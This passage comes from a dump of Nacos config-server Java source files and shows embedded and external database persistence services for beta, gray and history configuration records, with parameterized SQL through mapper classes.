TableConstant.CONFIG_INFO_GRAY);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            final String sql = configInfoGrayMapper.update(\n                    Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified\", \"app_name\", \"gray_rule\"),\n                    Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\", \"gmt_modified\", \"md5\"));\n            final Object[] args = new Object[] {configInfo.getContent(), md5, srcIp, srcUser, time, appNameTmp,\n                    grayRuleTmp, configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp, new Timestamp(lastModified), targetMd5};\n            EmbeddedStorageContextUtils.onModifyConfigGrayInfo(configInfo, grayNameTmp, grayRuleTmp, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n            databaseOperate.blockUpdate();\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedHistoryConfigInfoPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedPaginationHelperImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.HistoryConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_DETAIL_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.HISTORY_LIST_ROW_MAPPER;\n\n/**\n * EmbeddedHistoryConfigInfoPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnEmbeddedStorage.class)\n@Service(\"embeddedHistoryConfigInfoPersistServiceImpl\")\npublic class EmbeddedHistoryConfigInfoPersistServiceImpl implements HistoryConfigInfoPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    private final DatabaseOperate databaseOperate;\n    \n    private MapperManager mapperManager;\n    \n    /**\n     * The constructor sets the dependency injection order.\n     *\n     * @param databaseOperate databaseOperate.\n     */\n    public EmbeddedHistoryConfigInfoPersistServiceImpl(DatabaseOperate databaseOperate) {\n        this.databaseOperate = databaseOperate;\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        NotifyCenter.registerToSharePublisher(DerbyImportEvent.class);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new EmbeddedPaginationHelperImpl<>(databaseOperate);\n    }\n    \n    @Override\n    public void insertConfigHistoryAtomic(long configHistoryId, ConfigInfo configInfo, String srcIp, String srcUser,\n            final Timestamp time, String ops, String publishType, String grayName, String extInfo) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        final String md5Tmp = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        String publishTypeTmp = StringUtils.defaultEmptyIfBlank(publishType);\n        String encryptedDataKey = StringUtils.defaultEmptyIfBlank(configInfo.getEncryptedDataKey());\n        String grayNameTemp = StringUtils.defaultEmptyIfBlank(grayName);\n        \n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        final String sql = historyConfigInfoMapper.insert(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"src_ip\",\n                        \"src_user\", \"gmt_modified\", \"op_type\", \"publish_type\", \"gray_name\", \"ext_info\",\n                        \"encrypted_data_key\"));\n        final Object[] args = new Object[] {configHistoryId, configInfo.getDataId(), configInfo.getGroup(), tenantTmp,\n                appNameTmp, configInfo.getContent(), md5Tmp, srcIp, srcUser, time, ops, publishTypeTmp, grayNameTemp,\n                extInfo, encryptedDataKey};\n        \n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n    }\n    \n    @Override\n    public void removeConfigHistory(final Timestamp startTime, final int limitSize) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.START_TIME, startTime);\n        context.putWhereParameter(FieldConstant.LIMIT_SIZE, limitSize);\n        MapperResult mapperResult = historyConfigInfoMapper.removeConfigHistory(context);\n        PaginationHelper<ConfigInfo> helper = createPaginationHelper();\n        helper.updateLimit(mapperResult.getSql(), mapperResult.getParamList().toArray());\n    }\n    \n    @Override\n    public List<ConfigInfoStateWrapper> findDeletedConfig(final Timestamp startTime, long lastMaxId, final int pageSize,\n            String publishType) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.START_TIME, startTime);\n        context.putWhereParameter(FieldConstant.PAGE_SIZE, pageSize);\n        context.putWhereParameter(FieldConstant.LAST_MAX_ID, lastMaxId);\n        context.putWhereParameter(FieldConstant.PUBLISH_TYPE, publishType);\n        \n        MapperResult mapperResult = historyConfigInfoMapper.findDeletedConfig(context);\n        List<ConfigHistoryInfo> configHistoryInfos = databaseOperate.queryMany(mapperResult.getSql(),\n                mapperResult.getParamList().toArray(), HISTORY_DETAIL_ROW_MAPPER);\n        \n        List<ConfigInfoStateWrapper> configInfoStateWrappers = new ArrayList<>();\n        for (ConfigHistoryInfo configHistoryInfo : configHistoryInfos) {\n            ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n            configInfoStateWrapper.setId(configHistoryInfo.getId());\n            configInfoStateWrapper.setDataId(configHistoryInfo.getDataId());\n            configInfoStateWrapper.setGroup(configHistoryInfo.getGroup());\n            configInfoStateWrapper.setTenant(configHistoryInfo.getTenant());\n            configInfoStateWrapper.setMd5(configHistoryInfo.getMd5());\n            configInfoStateWrapper.setLastModified(configHistoryInfo.getLastModifiedTime().getTime());\n            configInfoStateWrapper.setGrayName(configHistoryInfo.getGrayName());\n            configInfoStateWrappers.add(configInfoStateWrapper);\n        }\n        return configInfoStateWrappers;\n    }\n    \n    @Override\n    public Page<ConfigHistoryInfo> findConfigHistory(String dataId, String group, String tenant, int pageNo,\n            int pageSize) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        \n        MapperContext context = new MapperContext((pageNo - 1) * pageSize, pageSize);\n        context.putWhereParameter(FieldConstant.DATA_ID, dataId);\n        context.putWhereParameter(FieldConstant.GROUP_ID, group);\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n        \n        String sqlCountRows = historyConfigInfoMapper.count(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        MapperResult sqlFetchRows = historyConfigInfoMapper.pageFindConfigHistoryFetchRows(context);\n        \n        PaginationHelper<ConfigHistoryInfo> helper = createPaginationHelper();\n        return helper.fetchPage(sqlCountRows, sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(), pageNo,\n                pageSize, HISTORY_LIST_ROW_MAPPER);\n    }\n    \n    @Override\n    public ConfigHistoryInfo detailConfigHistory(Long nid) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        String sqlFetchRows = historyConfigInfoMapper.select(\n                Arrays.asList(\"nid\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"src_user\",\n                        \"src_ip\", \"op_type\", \"publish_type\", \"gray_name\", \"ext_info\", \"gmt_create\", \"gmt_modified\",\n                        \"encrypted_data_key\"), Collections.singletonList(\"nid\"));\n        return databaseOperate.queryOne(sqlFetchRows, new Object[] {nid}, HISTORY_DETAIL_ROW_MAPPER);\n    }\n    \n    @Override\n    public ConfigHistoryInfo detailPreviousConfigHistory(Long id) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, id);\n        MapperResult sqlFetchRows = historyConfigInfoMapper.detailPreviousConfigHistory(context);\n        return databaseOperate.queryOne(sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(),\n                HISTORY_DETAIL_ROW_MAPPER);\n    }\n    \n    @Override\n    public int findConfigHistoryCountByTime(final Timestamp startTime) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.START_TIME, startTime);\n        MapperResult sqlFetchRows = historyConfigInfoMapper.findConfigHistoryCountByTime(context);\n        Integer result = databaseOperate.queryOne(sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(),\n                Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"findConfigHistoryCountByTime error\");\n        }\n        return result;\n    }\n\n    @Override\n    public ConfigHistoryInfo getNextHistoryInfo(String dataId, String group, String tenant, String publishType,\n            String grayName, long startNid) {\n        HistoryConfigInfoMapper historyConfigInfoMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.HIS_CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.DATA_ID, dataId);\n        context.putWhereParameter(FieldConstant.GROUP_ID, group);\n        context.putWhereParameter(FieldConstant.TENANT_ID, tenant);\n        context.putWhereParameter(FieldConstant.PUBLISH_TYPE, publishType);\n        context.putWhereParameter(FieldConstant.GRAY_NAME, grayName);\n        context.putWhereParameter(FieldConstant.NID, startNid);\n        MapperResult sqlFetchRows = historyConfigInfoMapper.getNextHistoryInfo(context);\n        return databaseOperate.queryOne(sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(),\n                HISTORY_DETAIL_ROW_MAPPER);\n    }\n\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoBetaPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.extrnal.ExternalStoragePaginationHelperImpl;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoBetaMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\n\n/**\n * ExternalConfigInfoBetaPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnExternalStorage.class)\n@Service(\"externalConfigInfoBetaPersistServiceImpl\")\npublic class ExternalConfigInfoBetaPersistServiceImpl implements ConfigInfoBetaPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    protected JdbcTemplate jt;\n    \n    protected TransactionTemplate tjt;\n    \n    private MapperManager mapperManager;\n    \n    public ExternalConfigInfoBetaPersistServiceImpl() {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jt = dataSourceService.getJdbcTemplate();\n        this.tjt = dataSourceService.getTransactionTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new ExternalStoragePaginationHelperImpl<>(jt);\n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo4Beta(ConfigInfo configInfo, String betaIps, String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.PERSIST_ENCODE);\n        String encryptedDataKey = StringUtils.defaultEmptyIfBlank(configInfo.getEncryptedDataKey());\n        try {\n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n            \n            jt.update(configInfoBetaMapper.insert(\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"beta_ips\",\n                                    \"src_ip\", \"src_user\", \"gmt_create@NOW()\", \"gmt_modified@NOW()\", \"encrypted_data_key\")),\n                    configInfo.getDataId(), configInfo.getGroup(), tenantTmp, appNameTmp, configInfo.getContent(), md5,\n                    betaIps, srcIp, srcUser, encryptedDataKey);\n            return getBetaOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateBeta(final ConfigInfo configInfo, final String betaIps, final String srcIp,\n            final String srcUser) {\n        \n        ConfigInfoStateWrapper configInfo4BetaState = this.findConfigInfo4BetaState(configInfo.getDataId(),\n                configInfo.getGroup(), configInfo.getTenant());\n        if (configInfo4BetaState == null) {\n            return addConfigInfo4Beta(configInfo, betaIps, srcIp, srcUser);\n            \n        } else {\n            return updateConfigInfo4Beta(configInfo, betaIps, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateBetaCas(final ConfigInfo configInfo, final String betaIps,\n            final String srcIp, final String srcUser) {\n        ConfigInfoStateWrapper configInfo4BetaState = this.findConfigInfo4BetaState(configInfo.getDataId(),\n                configInfo.getGroup(), configInfo.getTenant());\n        if (configInfo4BetaState == null) {\n            return addConfigInfo4Beta(configInfo, betaIps, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4BetaCas(configInfo, betaIps, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public void removeConfigInfo4Beta(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        tjt.execute(status -> {\n            try {\n                ConfigInfoStateWrapper configInfo = findConfigInfo4BetaState(dataId, group, tenant);\n                if (configInfo != null) {\n                    ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(\n                            dataSourceService.getDataSourceType(), TableConstant.CONFIG_INFO_BETA);\n                    jt.update(configInfoBetaMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")), dataId,\n                            group, tenantTmp);\n                }\n            } catch (CannotGetJdbcConnectionException e) {\n                LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n                throw e;\n            }\n            return Boolean.TRUE;\n        });\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4Beta(ConfigInfo configInfo, String betaIps, String srcIp,\n            String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        String encryptedDataKey = StringUtils.defaultEmptyIfBlank(configInfo.getEncryptedDataKey());\n        try {\n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n\n            jt.update(configInfoBetaMapper.update(\n                            Arrays.asList(\"content\", \"md5\", \"beta_ips\", \"src_ip\", \"src_user\", \"gmt_modified@NOW()\",\n                                    \"app_name\", \"encrypted_data_key\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")),\n                    configInfo.getContent(), md5, betaIps, srcIp, srcUser, appNameTmp, encryptedDataKey,\n                    configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            return getBetaOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfo4BetaState(final String dataId, final String group,\n            final String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            return this.jt.queryForObject(\n                    \"SELECT id,data_id,group_id,tenant_id,gmt_modified FROM config_info_beta WHERE data_id=? AND group_id=? AND tenant_id=? \",\n                    new Object[] {dataId, group, tenantTmp}, CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e.toString(), e);\n            throw e;\n        }\n    }\n    \n    private ConfigOperateResult getBetaOperateResult(String dataId, String group, String tenant) {\n        ConfigInfoStateWrapper configInfo4Beta = this.findConfigInfo4BetaState(dataId, group, tenant);\n        if (configInfo4Beta == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4Beta.getId(), configInfo4Beta.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4BetaCas(ConfigInfo configInfo, String betaIps, String srcIp,\n            String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        try {\n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n\n            MapperContext context = new MapperContext();\n            context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n            context.putUpdateParameter(FieldConstant.MD5, md5);\n            context.putUpdateParameter(FieldConstant.BETA_IPS, betaIps);\n            context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n            context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n            context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n            \n            context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n            context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n            MapperResult mapperResult = configInfoBetaMapper.updateConfigInfo4BetaCas(context);\n            final String sql = mapperResult.getSql();\n            List<Object> paramList = mapperResult.getParamList();\n            final Object[] args = paramList.toArray();\n            \n            boolean result = jt.update(sql, args) > 0;\n            if (result) {\n                return getBetaOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            } else {\n                return new ConfigOperateResult(false);\n            }\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigInfoBetaWrapper findConfigInfo4Beta(final String dataId, final String group, final String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n            return this.jt.queryForObject(configInfoBetaMapper.select(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"beta_ips\",\n                                    \"encrypted_data_key\", \"gmt_modified\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")),\n                    new Object[] {dataId, group, tenantTmp}, CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public int configInfoBetaCount() {\n        ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_BETA);\n        String sql = configInfoBetaMapper.count(null);\n        Integer result = jt.queryForObject(sql, Integer.class);\n        \n        return result.intValue();\n    }\n    \n    @Override\n    public Page<ConfigInfoBetaWrapper> findAllConfigInfoBetaForDumpAll(final int pageNo, final int pageSize) {\n        final int startRow = (pageNo - 1) * pageSize;\n        ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_BETA);\n        String sqlCountRows = configInfoBetaMapper.count(null);\n        \n        MapperContext context = new MapperContext();\n        context.setStartRow(startRow);\n        context.setPageSize(pageSize);\n        \n        MapperResult mapperResult = configInfoBetaMapper.findAllConfigInfoBetaForDumpAllFetchRows(context);\n        \n        String sqlFetchRows = mapperResult.getSql();\n        PaginationHelper<ConfigInfoBetaWrapper> helper = createPaginationHelper();\n        try {\n            return helper.fetchPageLimit(sqlCountRows, sqlFetchRows, new Object[] {}, pageNo, pageSize,\n                    CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoGrayPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExtInfoUtil;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.extrnal.ExternalStoragePaginationHelperImpl;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoGrayMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.TransactionStatus;\nimport org.springframework.transaction.support.TransactionCallbackWithoutResult;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.GRAY_MIGRATE_FLAG;\n\n/**\n * ExternalConfigInfoGrayPersistServiceImpl.\n *\n * @author rong\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = 